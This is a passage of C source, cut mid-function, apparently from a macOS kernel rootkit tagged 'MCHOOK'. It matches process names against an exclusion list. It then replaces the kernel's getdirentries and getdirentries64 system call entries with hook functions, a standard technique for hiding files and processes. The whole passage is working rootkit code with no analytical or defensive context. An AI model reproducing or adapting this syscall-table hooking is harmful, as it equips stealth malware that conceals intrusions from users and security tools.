proc_name(pid, procname, sizeof(procname));
for (i = 0; i < g_process_excluded; i ++) {
if (strncmp(procname, g_exclusion_list[i].processname, MAX_USER_SIZE) == 0
&& g_exclusion_list[i].is_active == 1) {
#ifdef DEBUG
printf("[MCHOOK] Exclusion matched for %s\n", procname);
#endif
return 1;
}
}
return -1;
}
void place_hooks()
{
if (fl_getdire64 == 0) {
real_getdirentries64 = (getdirentries64_func_t *)_sysent[SYS_getdirentries64].sy_call;
_sysent[SYS_getdirentries64].sy_call = (sy_call_t *)hook_getdirentries64;
fl_getdire64 = 1;
}
if (fl_getdire == 0) {
real_getdirentries = (getdirentries_func_t *)_sysent[SYS_getdirentries].sy_call;